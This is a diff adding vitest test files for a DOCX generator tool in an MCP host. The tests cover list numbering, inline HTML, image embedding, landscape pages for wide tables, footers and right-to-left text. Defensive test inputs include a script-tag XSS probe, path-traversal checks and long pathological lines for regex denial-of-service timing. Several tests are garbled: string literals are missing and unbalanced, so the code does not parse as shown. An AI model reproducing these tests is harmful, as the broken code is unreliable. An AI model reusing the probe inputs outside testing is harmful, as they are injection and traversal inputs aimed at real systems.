zipEntryText(r.artifact!.path, 'word/numbering.xml')+ const abstracts = numbering.match(/<w:abstractNum [\s\S]*?<\/w:abstractNum>/g) ?? []+ const ours = abstracts.filter(a => /%1\.|\u2022/.test(a))+ expect(ours.length).toBeGreaterThanOrEqual(2)+ for (const a of ours) expect(a.match(/<w:lvl /g)).toHaveLength(9)+ })++ it('restarts numbering for a separate list', async () => {+ const xml = await documentXml({ body: '1. A1\n2. A2\n\nBetween\n\n1. B1\n2. B2' })+ const ids = numIds(xml)+ expect(ids).toHaveLength(4)+ expect(ids[0]).toBe(ids[1])+ expect(ids[2]).toBe(ids[3])+ expect(ids[2]).not.toBe(ids[0])+ })++ it('keeps a loose list, items apart by blank lines, as one list', async () => {+ const xml = await documentXml({ body: '1. First\n\n2. Second\n\n3. Third' })+ expect(new Set(numIds(xml)).size).toBe(1)+ })++ it('continues from the number the author wrote after a code block', async () => {+ const r = await generate({ body: '1. Run:\n\n```\nmake\n```\n\n2. Check the output' })+ const xml = zipEntryText(r.artifact!.path, 'word/document.xml')+ const second = numIds(xml)[1]+ const numbering = zipEntryText(r.artifact!.path, 'word/numbering.xml')+ const num = new RegExp(+ `<w:num w:numId="${second}"[^>]*>[\\s\\S]*?<w:startOverride w:val="(\\d+)"/>`+ ).exec(numbering)+ expect(num?.[1]).toBe('2')+ })++ it('restarts when a list starts over at 1 after a blank line', async () => {+ const xml = await documentXml({ body: '1. A1\n2. A2\n\n1. B1' })+ const ids = numIds(xml)+ expect(ids[2]).not.toBe(ids[0])+ })+})++describe('generate_docx inline HTML', () => {+ it('turns <br> into a line break, also inside a table cell', async () => {+ const xml = await documentXml({+ body: '| A | B |\n|---|---|\n| x | one<br>two |\n\nline<br/>next',+ })+ expect(xml).not.toContain('<br')+ expect(xml.match(/<w:br\/>/g)?.length).toBe(2)+ expect(texts(xml)).toEqual(expect.arrayContaining(['one', 'two', 'line', 'next']))+ })++ it('renders <b> and <i>, decodes entities and drops script', async () => {+ const xml = await documentXml({+ body: 'Para with <b>bold</b>, <em>it</em> & more x <script>alert(1)</script>',+ })+ expect(xml).not.toMatch(/<\/?(b|em|script)|&amp;|&nbsp;|alert/)+ expect(xml).toMatch(/<w:b\/>[\s\S]*?<w:t[^>]*>bold<\/w:t>/)+ expect(xml).toMatch(/<w:i\/>[\s\S]*?<w:t[^>]*>it<\/w:t>/)+ })++ it('leaves angle-bracket placeholders and code alone', async () => {+ const xml = await documentXml({ body: 'Run kubectl -n <namespace> and `<br>` literally' })+ expect(xml).toContain('<namespace>')+ expect(xml).toContain('<br>')+ })++ it('keeps the words of block elements apart', async () => {+ const xml = await documentXml({+ body: '<p>One</p><p>Two</p>\n\n| A |\n|---|\n| <div>top</div><div>bottom</div> |\n\n<td>a</td><td>b</td>',+ })+ const all = texts(xml)+ expect(all).toEqual(expect.arrayContaining(['One', 'Two', 'top', 'bottom']))+ expect(all).not.toContain('OneTwo')+ expect(all).toContain('a b')+ })++ it('prints title and headline HTML as plain text in the page, header and properties', async () => {+ const r = await generate({+ title: '<b>Q3</b> Report',+ headline:+ '<a href="https://example.com/x">Q3</a> <code>v2</code> <i>draft</i><p>One</p><p>Two</p>',+ body: 'x',+ })+ expect(r.success, r.error).toBe(true)+ const all = [+ ...texts(zipEntryText(r.artifact!.path, 'word/document.xml')),+ ...texts(zipEntryText(r.artifact!.path, 'word/header1.xml')),+ ]+ expect(all).toContain('Q3 Report')+ expect(all).toContain('Q3 v2 draft One Two')+ expect(all.join('')).not.toMatch(/\*|`|\[|https/)+ expect(zipEntryText(r.artifact!.path, 'docProps/core.xml')).toContain(+ '<dc:title>Q3 Report</dc:title>'+ )+ })+})++describe('generate_docx images', () => {+ it('embeds an image named on its own line in the body', async () => {+ writePng('chart.png', 800, 400)+ const xml = await documentXml({ body: 'Intro\n\n\n\nOutro' })+ expect(xml).toContain('<w:drawing>')+ expect(xml).not.toContain('\n\n.png)' })+ expect(r.success, r.error).toBe(true)+ const xml = zipEntryText(r.artifact!.path, 'word/document.xml')+ expect(xml.match(/<w:drawing>/g)).toHaveLength(2)+ expect(r.content).not.toMatch(/not found|inside a line of text/)+ })++ it('says when the document has nothing in it', async () => {+ const empty = await generate({ body: ' ' })+ expect(empty.success, empty.error).toBe(true)+ expect(empty.content).toContain('The document is empty')+ const titled = await generate({ body: '', title: 'Report' })+ expect(titled.content).not.toContain('The document is empty')+ })++ it('leaves out a body image that does not exist, says so, and never prints its path', async () => {+ const r = await generate({ body: 'Intro\n\n\n\nOutro' })+ expect(r.success, r.error).toBe(true)+ const xml = zipEntryText(r.artifact!.path, 'word/document.xml')+ expect(xml).not.toContain('missing.png')+ expect(r.content).toMatch(/missing\.png/)+ })++ it('uses the file from the output folder when the body names it by an absolute path', async () => {+ writePng('chart.png', 80, 40)+ const r = await generate({ body: '' })+ expect(r.success, r.error).toBe(true)+ expect(zipEntryText(r.artifact!.path, 'word/document.xml')).toContain('<w:drawing>')+ expect(r.content).toMatch(/outside the output folder/)+ })++ it('does not print an image written in the middle of a sentence', async () => {+ writePng('chart.png', 80, 40)+ const r = await generate({ body: 'See  here' })+ const xml = zipEntryText(r.artifact!.path, 'word/document.xml')+ expect(xml).not.toContain('chart.png')+ expect(texts(xml).join('')).toContain('the chart')+ expect(r.content).toMatch(/'chart\.png' was inside a line of text.*line of its own/)+ })++ it('accepts an image given as a bare file name', async () => {+ writePng('chart.png', 800, 400)+ const xml = await documentXml({ body: 'x', images: ['chart.png'] })+ expect(xml).toContain('<w:drawing>')+ })++ it('reports an image or a logo that is missing', async () => {+ const r = await generate({+ title: 'T',+ body: 'x',+ images: [{ path: 'nope.png' }],+ branding: { logoPath: 'logo.png' },+ })+ expect(r.success, r.error).toBe(true)+ expect(r.content).toMatch(/nope\.png/)+ expect(r.content).toMatch(/logo\.png/)+ })++ it('fails when the only thing asked for was images and none could be embedded', async () => {+ const r = await generate({ body: '', images: [{ path: 'nope.png' }] })+ expect(r.success).toBe(false)+ expect(r.error).toMatch(/nope\.png/)+ })++ it('keeps an explicit size inside the page', async () => {+ writePng('wide.png', 200, 100)+ writePng('tall.png', 200, 3000)+ const xml = await documentXml({+ body: 'x',+ images: [+ { path: 'wide.png', width: 2000 },+ { path: 'tall.png', width: 560 },+ ],+ })+ const [wide, tall] = extents(xml)+ expect(wide.width).toBeLessThanOrEqual(602)+ expect(wide.width / wide.height).toBeCloseTo(2, 1)+ expect(tall.height).toBeLessThanOrEqual(900)+ expect(tall.height / tall.width).toBeCloseTo(15, 0)+ })++ it('keeps the proportions of a square logo', async () => {+ writePng('logo.png', 300, 300)+ const xml = await documentXml({ title: 'T', body: 'x', branding: { logoPath: 'logo.png' } })+ const [logo] = extents(xml)+ expect(logo.width).toBe(logo.height)+ })++ it('draws the logo when the document has no title', async () => {+ writePng('logo.png', 300, 100)+ const xml = await documentXml({ body: 'x', branding: { logoPath: 'logo.png' } })+ expect(extents(xml)).toHaveLength(1)+ })++ it('converts a GIF or WebP to PNG and leaves out what is not an image', async () => {+ const gif = Buffer.from(+ 'R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==',+ 'base64'+ )+ fs.writeFileSync(path.join(outputDir, 'dot.gif'), gif)+ const canvas = createCanvas(40, 20)+ canvas.getContext('2d').fillRect(0, 0, 40, 20)+ fs.writeFileSync(path.join(outputDir, 'pic.webp'), await canvas.encode('webp'))+ fs.writeFileSync(path.join(outputDir, 'fake.png'), 'this is not an image')+ const r = await generate({+ body: 'x',+ images: [{ path: 'dot.gif' }, { path: 'pic.webp' }, { path: 'fake.png' }],+ })+ expect(r.success, r.error).toBe(true)+ const media = [...zipEntries(r.artifact!.path)].filter(([n]) => /^word\/media\/./.test(n))+ expect(media).toHaveLength(2)+ for (const [, data] of media) expect(data.readUInt32BE(0)).toBe(0x89504e47)+ expect(r.content).toMatch(/fake\.png/)+ })++ it('still refuses an image path that escapes the output folder', async () => {+ const r = await generate({ body: '' })+ expect(r.success).toBe(false)+ expect(r.error).toMatch(/path traversal blocked/)+ })++ it('names the argument and the fix when an image path leaves the output folder', async () => {+ const r = await generate({ body: 'x', images: ['chart.png', '/output/missing.png'] })+ expect(r.success).toBe(false)+ expect(r.error).toMatch(/path traversal blocked/)+ expect(r.error).toMatch(/^images\[1\]: /)+ expect(r.error).toMatch(/clerum__generate_chart/)+ })++ it('does not point at images when what failed was a table', async () => {+ const r = await generate({ body: '', tables: [{ rows: [[1]] }] })+ expect(r.success).toBe(false)+ expect(r.error).toMatch(/tables\[0\] has no headers/)+ expect(r.error).not.toMatch(/image|clerum__generate_chart/i)+ })+})++describe('generate_docx schema', () => {+ function router(): StepMcpRouter {+ const r = new StepMcpRouter(() => {+ throw new Error('factory not used')+ })+ r.registerInternalTools(INTERNAL_TOOLS, outputDir)+ return r+ }++ it('lets the workflow path send numeric headers and bare image names', async () => {+ writePng('chart.png', 80, 40)+ const { result } = await router().callTool('clerum__generate_docx', {+ filename: 'w.docx',+ body: 'x',+ images: ['chart.png', { path: 'chart.png', width: 200 }],+ tables: [{ headers: ['Region', 2024], rows: [['North', 1]] }],+ })+ expect(result.isError, JSON.stringify(result.content)).toBeFalsy()+ })++ it('rejects a row that is not an array with a message naming the field', async () => {+ const { result } = await router().callTool('clerum__generate_docx', {+ filename: 'w.docx',+ body: 'x',+ tables: [{ headers: ['A'], rows: [{ A: 1 }] }],+ })+ expect(result.isError).toBe(true)+ expect((result.content as { error: string }).error).toContain('tables/0/rows/0 must be array')+ })++ it('describes image paths as the file names generate_chart returns', () => {+ const text = JSON.stringify(docxTool().parameters)+ expect(text).not.toMatch(/Absolute path/i)+ expect(text).toMatch(/clerum__generate_chart/)+ })+})++describe('generate_docx on pathological text', () => {+ const LENGTH = 100_000+ const ctx = () => ({+ palette: DOCX_PALETTES.default,+ numbering: new DocxListNumbering(),+ warnings: [] as string[],+ image: () => undefined,+ })+ const repeat = (unit: string) => unit.repeat(Math.ceil(LENGTH / unit.length))++ // A pattern that rescans the line takes seconds to minutes on each of these+ // 100 KB lines, and the host serves every chat from one thread.+ it.each([+ ['unclosed images', repeat('],+ ['unclosed images without spaces', repeat('],+ ['image openers', repeat('![')],+ ['brackets', repeat('[')],+ ['unclosed links', repeat('[a](http://x')],+ ['unclosed script tags', repeat('<script')],+ ['anchors without a closing tag', repeat('<a href="http://x">y')],+ ])(+ 'reads a line of %s in linear time',+ (_name, line) => {+ const started = Date.now()+ inlineRuns(line, {}, [])+ expect(Date.now() - started).toBeLessThan(5000)+ },+ 30_000+ )++ it.each([+ ['a separator padded with spaces', 'a | b\n' + repeat(' ') + 'x'],+ ['a separator with trailing spaces', 'a | b\n|---|---' + repeat(' ') + 'x'],+ ['a heading of spaces', '# a' + repeat(' ') + 'b'],+ ])(+ 'reads a body with %s in linear time',+ (_name, body) => {+ const started = Date.now()+ bodyToDocxChildren(body, ctx())+ expect(Date.now() - started).toBeLessThan(5000)+ },+ 30_000+ )+})++describe('rows with more cells than headers', () => {+ it('says the extra cells were left out', async () => {+ const r = await generate({+ body: 'x',+ tables: [{ headers: ['A', 'B'], rows: [['a', 'b', 'EXTRA']] }],+ })+ expect(r.success).toBe(true)+ expect(r.content).toContain('more cells than its 2 headers; the extra cells were left out')+ })+})diff --git a/mcp-host/src/workflow/__tests__/internalTools.docxLayout.test.ts b/mcp-host/src/workflow/__tests__/internalTools.docxLayout.test.tsnew file mode 100644index 000000000..20d832f62--- /dev/null+++ b/mcp-host/src/workflow/__tests__/internalTools.docxLayout.test.ts@@ -0,0 +1,237 @@+/**+ * Page layout of the generated DOCX: wide tables, which Word would squeeze+ * until numbers break mid-digit, and the footer.+ */+import { afterEach, beforeEach, describe, expect, it } from 'vitest'+import * as fs from 'fs'+import * as os from 'os'+import * as path from 'path'+import { DOCX_PALETTES } from '../docxStyle'+import { buildDocxTable } from '../docxTable'+import { INTERNAL_TOOLS } from '../internalTools'+import type { InternalToolResult } from '../types'+import { zipEntryText } from './support/zipEntries'++let outputDir: string++beforeEach(() => {+ outputDir = fs.mkdtempSync(path.join(os.tmpdir(), 'clerum-docx-layout-'))+})++afterEach(() => {+ fs.rmSync(outputDir, { recursive: true, force: true })+})++async function generate(args: Record<string, unknown>): Promise<InternalToolResult> {+ const tool = INTERNAL_TOOLS.find(t => t.name === 'clerum__generate_docx')!+ return tool.execute({ filename: 'd.docx', ...args }, outputDir)+}++function documentXml(r: InternalToolResult): string {+ expect(r.success, r.error).toBe(true)+ return zipEntryText(r.artifact!.path, 'word/document.xml')+}++const MONTHS = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']++/** Section properties in document order, with the tables each section holds. */+function sections(xml: string): Array<{ landscape: boolean; width: number; tables: string[] }> {+ const body = xml.slice(xml.indexOf('<w:body>'))+ const out: Array<{ landscape: boolean; width: number; tables: string[] }> = []+ let at = 0+ for (const m of body.matchAll(/<w:sectPr[\s\S]*?<\/w:sectPr>/g)) {+ const chunk = body.slice(at, m.index)+ at = m.index + m[0].length+ const size = /<w:pgSz ([^>]*)\/>/.exec(m[0])?.[1] ?? ''+ out.push({+ landscape: /w:orient="landscape"/.test(size),+ width: Number(/w:w="(\d+)"/.exec(size)?.[1] ?? 0),+ tables: chunk.match(/<w:tbl>[\s\S]*?<\/w:tbl>/g) ?? [],+ })+ }+ return out+}++function grid(table: string): number[] {+ return [...table.matchAll(/<w:gridCol w:w="(\d+)"\/>/g)].map(m => Number(m[1]))+}++/** The type size of the table's body cells, in points. */+function cellSize(table: string): number {+ const sizes = [...table.matchAll(/<w:sz w:val="(\d+)"\/>/g)].map(m => Number(m[1]))+ return Math.min(...sizes) / 2+}++/** Left and right cell margins of the table's body cells, in twips. */+function cellMargins(table: string): number {+ const left = Number(/<w:left w:type="dxa" w:w="(\d+)"\/>/.exec(table)?.[1] ?? 0)+ const right = Number(/<w:right w:type="dxa" w:w="(\d+)"\/>/.exec(table)?.[1] ?? 0)+ return left + right+}++/** Calibri's advance widths, in ems, for the characters of these tests. */+const CALIBRI_EM: Record<string, number> = {+ '0': 0.507,+ '1': 0.507,+ '2': 0.507,+ '3': 0.507,+ '4': 0.507,+ '5': 0.507,+ '6': 0.507,+ '7': 0.507,+ '8': 0.507,+ '9': 0.507,+ ',': 0.25,+ '.': 0.252,+}++/** Twips a number needs on one line at `size` points in Calibri. */+function numberTwips(text: string, size: number): number {+ return [...text].reduce((sum, ch) => sum + CALIBRI_EM[ch], 0) * size * 20+}++describe('generate_docx wide tables', () => {+ const headers = ['Metric', ...MONTHS]+ const row = (label: string, value: string) => [label, ...MONTHS.map(() => value)]++ it('moves a table too wide for portrait onto a landscape page and says so', async () => {+ const r = await generate({+ body: 'Intro\n\nOutro',+ tables: [{ headers, rows: [row('Revenue (USD)', '1,234,567.00'), row('Cost', '877198.64')] }],+ })+ const all = sections(documentXml(r))+ const holding = all.find(s => s.tables.length > 0)!+ expect(holding.landscape).toBe(true)+ expect(holding.width).toBeGreaterThan(16000)+ expect(all.filter(s => !s.landscape).length).toBeGreaterThan(0)+ const table = holding.tables[0]+ const size = cellSize(table)+ const widths = grid(table)+ expect(widths).toHaveLength(13)+ for (const w of widths.slice(1)) {+ expect(w - cellMargins(table)).toBeGreaterThanOrEqual(numberTwips('1,234,567.00', size))+ }+ expect(widths.reduce((a, b) => a + b, 0)).toBeLessThanOrEqual(16838 - 2 * 1440)+ expect(r.content).toMatch(/tables\[0\].*landscape/)+ })++ it('keeps a table that fits on the portrait page, in one section and at full size', async () => {+ const r = await generate({+ body: 'x',+ tables: [{ headers: ['Region', 'Revenue'], rows: [['North', '1,234,567.00']] }],+ })+ const all = sections(documentXml(r))+ expect(all).toHaveLength(1)+ expect(all[0].landscape).toBe(false)+ expect(cellSize(all[0].tables[0])).toBe(11)+ expect(r.content).not.toMatch(/landscape/)+ })++ it('says which columns still break when even landscape is too narrow', async () => {+ const wide = Array.from({ length: 30 }, (_, i) => `C${i + 1}`)+ const r = await generate({+ body: 'x',+ tables: [{ headers: wide, rows: [wide.map(() => '1662242.74')] }],+ })+ const all = sections(documentXml(r))+ expect(all.find(s => s.tables.length > 0)!.landscape).toBe(true)+ expect(r.content).toMatch(/tables\[0\]: words in 'C1', 'C2', 'C3' and 27 more column/)+ expect(r.content).toMatch(/split the table or leave out columns/)+ })++ it('moves a wide markdown table in the body and names it', async () => {+ const line = (cells: string[]) => `| ${cells.join(' | ')} |`+ const body = [+ 'Before',+ '',+ line(headers),+ line(headers.map(() => '---')),+ line(row('Revenue', '1,234,567.00')),+ '',+ 'After',+ ].join('\n')+ const r = await generate({ body })+ const all = sections(documentXml(r))+ expect(all.find(s => s.tables.length > 0)!.landscape).toBe(true)+ // The text after the table returns to portrait.+ expect(all[all.length - 1].landscape).toBe(false)+ expect(r.content).toMatch(/The body's table 1 .*landscape/)+ })++ it('repeats the header and footer in every section', async () => {+ const r = await generate({+ body: 'x',+ branding: { companyName: 'Acme', footerText: 'Confidential' },+ tables: [{ headers, rows: [row('Revenue', '1,234,567.00')] }],+ })+ const xml = documentXml(r)+ const sectPrs = xml.match(/<w:sectPr[\s\S]*?<\/w:sectPr>/g) ?? []+ expect(sectPrs.length).toBeGreaterThan(1)+ for (const s of sectPrs) {+ expect(s).toMatch(/<w:headerReference w:type="default"/)+ expect(s).toMatch(/<w:footerReference w:type="default"/)+ }+ })+})++describe('generate_docx table layout on large input', () => {+ it.each([+ [+ '5,000 rows of 13 numeric cells',+ () => {+ const rows = Array.from({ length: 5000 }, (_, r) => [+ `Row ${r}`,+ ...MONTHS.map((_m, c) => (r * 1000.37 + c).toFixed(2)),+ ])+ return { headers: ['Metric', ...MONTHS], rows }+ },+ ],+ [+ 'one 1 MB cell without spaces',+ () => ({ headers: ['A', 'B'], rows: [['x'.repeat(1_000_000), 'y']] }),+ ],+ [+ 'one 1 MB cell of short words',+ () => ({ headers: ['A', 'B'], rows: [['ab '.repeat(350_000), 'y']] }),+ ],+ ])(+ 'sizes %s in bounded time',+ (_name, make) => {+ const { headers, rows } = make()+ const started = Date.now()+ buildDocxTable(headers, rows, DOCX_PALETTES.default, 'striped', [], 'tables[0]')+ // Loose, so a slow machine passes; sizing that went quadratic would take minutes.+ expect(Date.now() - started).toBeLessThan(20_000)+ },+ 60_000+ )+})++describe('generate_docx footer', () => {+ function footerTexts(file: string): string[] {+ const xml = zipEntryText(file, 'word/footer1.xml')+ return [...xml.matchAll(/<w:t(?: [^>]*)?>([^<]*)<\/w:t>/g)].map(m => m[1])+ }++ it('breaks a footer written on several lines where it was broken', async () => {+ const r = await generate({ body: 'x', branding: { footerText: 'Line 1\nLine 2\nLine 3' } })+ expect(r.success, r.error).toBe(true)+ const xml = zipEntryText(r.artifact!.path, 'word/footer1.xml')+ expect(xml).not.toMatch(/<w:t[^>]*>[^<]*\n/)+ expect(footerTexts(r.artifact!.path)).toEqual(+ expect.arrayContaining(['Line 1', 'Line 2', 'Line 3'])+ )+ expect(xml.match(/<w:br\/>/g)).toHaveLength(2)+ expect(r.content).not.toMatch(/footerText/)+ })++ it('keeps six lines, as the PDF does, and says the rest was cut', async () => {+ const text = Array.from({ length: 8 }, (_, i) => `L${i + 1}`).join('\n')+ const r = await generate({ body: 'x', branding: { footerText: text } })+ expect(r.success, r.error).toBe(true)+ const kept = footerTexts(r.artifact!.path)+ expect(kept).toContain('L6...')+ expect(kept).not.toContain('L7')+ expect(r.content).toMatch(/branding\.footerText takes 8 lines.*only 6/)+ })+})diff --git a/mcp-host/src/workflow/__tests__/internalTools.docxText.test.ts b/mcp-host/src/workflow/__tests__/internalTools.docxText.test.tsnew file mode 100644index 000000000..08a177c54--- /dev/null+++ b/mcp-host/src/workflow/__tests__/internalTools.docxText.test.ts@@ -0,0 +1,313 @@+/**+ * The DOCX generator's reading of inline markdown and of right-to-left and+ * CJK text: what each run of document.xml says and how it is formatted.+ */+import { afterEach, beforeEach, describe, expect, it } from 'vitest'+import * as fs from 'fs'+import * as os from 'os'+import * as path from 'path'+import { inlineRuns } from '../docxInline'+import { documentEastAsianScript } from '../docxScript'+import { INTERNAL_TOOLS } from '../internalTools'+import type { InternalToolResult } from '../types'+import { zipEntryText } from './support/zipEntries'++let outputDir: string++beforeEach(() => {+ outputDir = fs.mkdtempSync(path.join(os.tmpdir(), 'clerum-docx-text-'))+})++afterEach(() => {+ fs.rmSync(outputDir, { recursive: true, force: true })+})++async function generate(args: Record<string, unknown>): Promise<InternalToolResult> {+ const tool = INTERNAL_TOOLS.find(t => t.name === 'clerum__generate_docx')!+ return tool.execute({ filename: 'd.docx', ...args }, outputDir)+}++async function part(args: Record<string, unknown>, name = 'word/document.xml'): Promise<string> {+ const r = await generate(args)+ expect(r.success, r.error).toBe(true)+ return zipEntryText(r.artifact!.path, name)+}++interface Run {+ props: string+ text: string+}++function decode(text: string): string {+ return text+ .replace(/</g, '<')+ .replace(/>/g, '>')+ .replace(/"/g, '"')+ .replace(/'/g, "'")+ .replace(/&/g, '&')+}++/** Every run with its properties and text, in order. */+function runs(xml: string): Run[] {+ return [...xml.matchAll(/<w:r>([\s\S]*?)<\/w:r>/g)].map(m => ({+ props: /<w:rPr>([\s\S]*?)<\/w:rPr>/.exec(m[1])?.[1] ?? '',+ text: decode([...m[1].matchAll(/<w:t(?: [^>]*)?>([^<]*)<\/w:t>/g)].map(t => t[1]).join('')),+ }))+}++function bodyParagraphs(xml: string): string[] {+ const body = xml.slice(xml.indexOf('<w:body>'))+ return body.match(/<w:p>[\s\S]*?<\/w:p>|<w:p [\s\S]*?<\/w:p>/g) ?? []+}++function paragraphText(p: string): string {+ return runs(p)+ .map(r => r.text)+ .join('')+}++/** The runs with text in the document written from `body`. */+async function paragraphRuns(body: string): Promise<Run[]> {+ return runs(await part({ body })).filter(r => r.text !== '')+}++describe('generate_docx emphasis', () => {+ it('keeps the asterisks of arithmetic', async () => {+ const found = await paragraphRuns('Math 5 * 3 * 2 = 30')+ expect(found.map(r => r.text).join('')).toBe('Math 5 * 3 * 2 = 30')+ expect(found.some(r => r.props.includes('<w:i/>'))).toBe(false)+ })++ it('keeps asterisks that have a space on their inner side', async () => {+ const found = await paragraphRuns('a ** b ** c and x * y')+ expect(found.map(r => r.text).join('')).toBe('a ** b ** c and x * y')+ expect(found.some(r => /<w:[bi]\/>/.test(r.props))).toBe(false)+ })++ it('reads ***bold italic*** as one run that is both', async () => {+ const found = await paragraphRuns('A ***bold italic*** B')+ expect(found.map(r => r.text).join('')).toBe('A bold italic B')+ const run = found.find(r => r.text === 'bold italic')!+ expect(run.props).toContain('<w:b/>')+ expect(run.props).toContain('<w:i/>')+ })++ it('strikes ~~text~~ through', async () => {+ const found = await paragraphRuns('B ~~strike~~ C')+ expect(found.map(r => r.text).join('')).toBe('B strike C')+ expect(found.find(r => r.text === 'strike')!.props).toContain('<w:strike/>')+ })++ it('strikes <s> and <del> through', async () => {+ const found = await paragraphRuns('a <s>old</s> <del>gone</del> b')+ expect(found.find(r => r.text === 'old')!.props).toContain('<w:strike/>')+ expect(found.find(r => r.text === 'gone')!.props).toContain('<w:strike/>')+ })++ it('prints a backslash-escaped marker literally and drops the backslash', async () => {+ const found = await paragraphRuns('C \\*not italic\\* and \\_x\\_ and \\\\ and C:\\Users\\me')+ expect(found.map(r => r.text).join('')).toBe('C *not italic* and _x_ and \\ and C:\\Users\\me')+ expect(found.some(r => r.props.includes('<w:i/>'))).toBe(false)+ })++ it('reads emphasis nested in bold', async () => {+ const found = await paragraphRuns('**bold *both* ~~gone~~ `code`**')+ expect(found.map(r => r.text).join('')).toBe('bold both gone code')+ const both = found.find(r => r.text === 'both')!+ expect(both.props).toContain('<w:b/>')+ expect(both.props).toContain('<w:i/>')+ expect(found.find(r => r.text === 'gone')!.props).toContain('<w:strike/>')+ expect(found.find(r => r.text === 'code')!.props).toContain('Consolas')+ })++ it('keeps escapes and markers inside code spans as written', async () => {+ const found = await paragraphRuns('Use `a \\* b *c*` here')+ expect(found.map(r => r.text).join('')).toBe('Use a \\* b *c* here')+ })++ it('still reads single-character emphasis', async () => {+ const found = await paragraphRuns('*a* and **b**')+ expect(found.find(r => r.text === 'a')!.props).toContain('<w:i/>')+ expect(found.find(r => r.text === 'b')!.props).toContain('<w:b/>')+ })++ const LENGTH = 100_000+ const repeat = (unit: string) => unit.repeat(Math.ceil(LENGTH / unit.length))+ it.each([+ ['bold openers whose closers follow a space', repeat('**a ')],+ ['italic openers whose closers follow a space', repeat('*a ')],+ ['bold italic openers', repeat('***a ')],+ ['strike openers', repeat('~~a ')],+ ['backslashes', repeat('\\')],+ ['asterisks', repeat('*')],+ ['right-to-left text with marks', repeat('\u0628\u064e ')],+ ])(+ 'reads a line of %s in linear time',+ (_name, line) => {+ const started = Date.now()+ inlineRuns(line, {}, [])+ expect(Date.now() - started).toBeLessThan(5000)+ },+ 30_000+ )+})++describe('generate_docx right-to-left text', () => {+ const ARABIC = 'مرحبا بالعالم، هذا تقرير المبيعات.'++ it('sets an Arabic paragraph right to left without flipping its alignment', async () => {+ const xml = await part({ body: `${ARABIC}\n\nEnglish paragraph.` })+ const [arabic, english] = bodyParagraphs(xml).filter(p => paragraphText(p) !== '')+ expect(arabic).toContain('<w:bidi/>')+ // In a bidi paragraph Word reads jc="right" as the far edge, so the paragraph keeps its+ // default, which is the right margin.+ expect(arabic).not.toMatch(/<w:jc /)+ expect(english).not.toContain('<w:bidi/>')+ const arabicRuns = runs(arabic).filter(r => r.text.trim() !== '')+ expect(arabicRuns.length).toBeGreaterThan(0)+ for (const run of arabicRuns.filter(r => /\p{Script=Arabic}/u.test(r.text))) {+ expect(run.props).toContain('<w:rtl/>')+ expect(run.props).toMatch(/<w:lang [^>]*w:bidi="ar-SA"/)+ }+ expect(runs(english).some(r => r.props.includes('<w:rtl/>'))).toBe(false)+ })++ it('sets RTL list items, headings, quotes and table cells right to left', async () => {+ const xml = await part({+ body:+ '# عنوان التقرير\n\n- البند الأول\n1. פריט ראשון\n\n> اقتباس\n\n' ++ '| المنطقة | الإيرادات |\n|---|---|\n| الرياض | 1,200 |',+ })+ const paragraphs = bodyParagraphs(xml)+ for (const text of ['عنوان التقرير', 'البند الأول', 'פריט ראשון', 'اقتباس', 'الرياض']) {+ const p = paragraphs.find(x => paragraphText(x) === text)+ expect(p, text).toBeDefined()+ expect(p, text).toContain('<w:bidi/>')+ }+ expect(xml).toContain('<w:bidiVisual/>')+ const hebrew = runs(xml).find(r => r.text === 'פריט ראשון')!+ expect(hebrew.props).toMatch(/w:bidi="he-IL"/)+ })++ it('lays out a table with RTL headers right to left and one with LTR headers left to right', async () => {+ const rtl = await part({+ body: 'x',+ tables: [{ headers: ['المنطقة', 'الإيرادات'], rows: [['الرياض', 1200]] }],+ })+ expect(rtl).toContain('<w:bidiVisual/>')+ const ltr = await part({+ body: 'x',+ tables: [{ headers: ['Region', 'Revenue'], rows: [['الرياض', 1200]] }],+ })+ expect(ltr).not.toContain('<w:bidiVisual/>')+ })++ it('keeps digits and punctuation after RTL words in their run', async () => {+ const xml = await part({+ body: 'تقرير المبيعات 2026\n\nשלום עולם עם מספר 42.\n\nAn English line 42.',+ })+ const paragraphs = bodyParagraphs(xml).filter(p => paragraphText(p) !== '')+ const numbered = (p: string, digits: string) => runs(p).find(r => r.text.includes(digits))!+ expect(numbered(paragraphs[0], '2026').props).toContain('<w:rtl/>')+ expect(numbered(paragraphs[1], '42').props).toContain('<w:rtl/>')+ expect(numbered(paragraphs[2], '42').props).not.toContain('<w:rtl/>')+ })++ it('splits a mixed line into runs, only the RTL ones marked', async () => {+ const xml = await part({ body: 'x', headline: 'Latin → العربية → עברית → 中文 ✓' })+ const headline = runs(xml).filter(r => r.props.includes('<w:i/>'))+ expect(headline.map(r => r.text).join('')).toBe('Latin → العربية → עברית → 中文 ✓')+ expect(headline.length).toBeGreaterThan(2)+ for (const run of headline) {+ const rtl = /[\p{Script=Arabic}\p{Script=Hebrew}]/u.test(run.text)+ expect(run.props.includes('<w:rtl/>'), run.text).toBe(rtl)+ if (rtl) expect(run.text, 'an RTL run holds no Latin or CJK').not.toMatch(/[A-Za-z中文]/)+ }+ // Word draws boxes for Arabic in a run tagged as Hebrew, so each script gets its own run.+ const arabic = headline.find(r => /\p{Script=Arabic}/u.test(r.text))!+ expect(arabic.text).not.toMatch(/\p{Script=Hebrew}/u)+ expect(arabic.props).toMatch(/w:bidi="ar-SA"/)+ expect(headline.find(r => /\p{Script=Hebrew}/u.test(r.text))!.props).toMatch(/w:bidi="he-IL"/)+ })++ it('draws the bar of an RTL quote on its right', async () => {+ const xml = await part({ body: '> اقتباس قصير\n\n> An English quote' })+ const [rtl, ltr] = bodyParagraphs(xml).filter(p => p.includes('<w:pBdr>'))+ expect(rtl).toMatch(/<w:pBdr><w:right /)+ expect(ltr).toMatch(/<w:pBdr><w:left /)+ })++ it('keeps the paragraphs of a quote apart and runs its other lines on', async () => {+ const xml = await part({ body: '> First line\n> runs on.\n>\n> Second paragraph.' })+ const quoted = bodyParagraphs(xml).filter(p => p.includes('<w:pBdr>'))+ expect(quoted.map(paragraphText)).toEqual(['First line runs on.', 'Second paragraph.'])+ })++ it('sets the title of an RTL document right to left', async () => {+ const xml = await part({ body: 'x', title: 'تقرير المبيعات' })+ const title = bodyParagraphs(xml).find(p => paragraphText(p) === 'تقرير المبيعات')+ expect(title).toContain('<w:bidi/>')+ })++ it('names a complex-script face that has Arabic and Hebrew', async () => {+ const styles = await part({ body: 'x' }, 'word/styles.xml')+ const defaults = /<w:docDefaults>[\s\S]*?<\/w:docDefaults>/.exec(styles)![0]+ expect(defaults).toMatch(/<w:rFonts [^>]*w:ascii="Calibri"/)+ 